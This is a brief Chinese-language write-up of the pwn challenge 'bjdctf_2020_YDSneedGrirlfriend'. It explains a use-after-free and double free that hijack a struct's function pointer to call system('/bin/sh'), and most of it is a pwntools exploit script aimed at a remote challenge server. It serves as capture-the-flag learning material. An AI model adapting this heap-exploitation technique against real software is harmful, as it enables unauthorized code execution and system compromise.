bjdctf_2020_YDSneedGrirlfriend
流程分析
这个是比较简单的,跳过
漏洞利用
由于delete函数有uaf漏洞,还有后门函数,所以可以劫持girlfriendlist的puts函数,在把/bin/sh的地址放在+8的偏移上即可
- 先创建两个0x10的结构体,程序会创建4个
- double free掉第0个
- 申请一个0x32的,这时堆的情况是第0个的girlfriendlist结构体是空的,我们可以控制这个结构体里的函数了,劫持
from pwn import * #p=process('./bjdctf_2020_YDSneedGrirlfriend') p=remote('node3.buuoj.cn',27473) context.log_level='debug' def add(size,content): p.recvuntil('choice :') p.sendline('1') p.recvuntil('is :') p.sendline(str(size)) p.recvuntil('is :') p.sendline(content) def delete(idx): p.recvuntil('choice :') p.sendline('2') p.recvuntil('Index :') p.sendline(str(idx)) def print_fun(idx): p.recvuntil('choice :') p.sendline('3') p.recvuntil('Index :') p.sendline(str(idx)) sys_addr=0x400B9C bin_sh=0x400E00 add(0x10,'pppp') add(0x10,'pppp') delete(0) delete(0) add(0x20,'pppp') add(0x10,p64(sys_addr)+p64(bin_sh)) #gdb.attach(p) print_fun(0) p.interactive()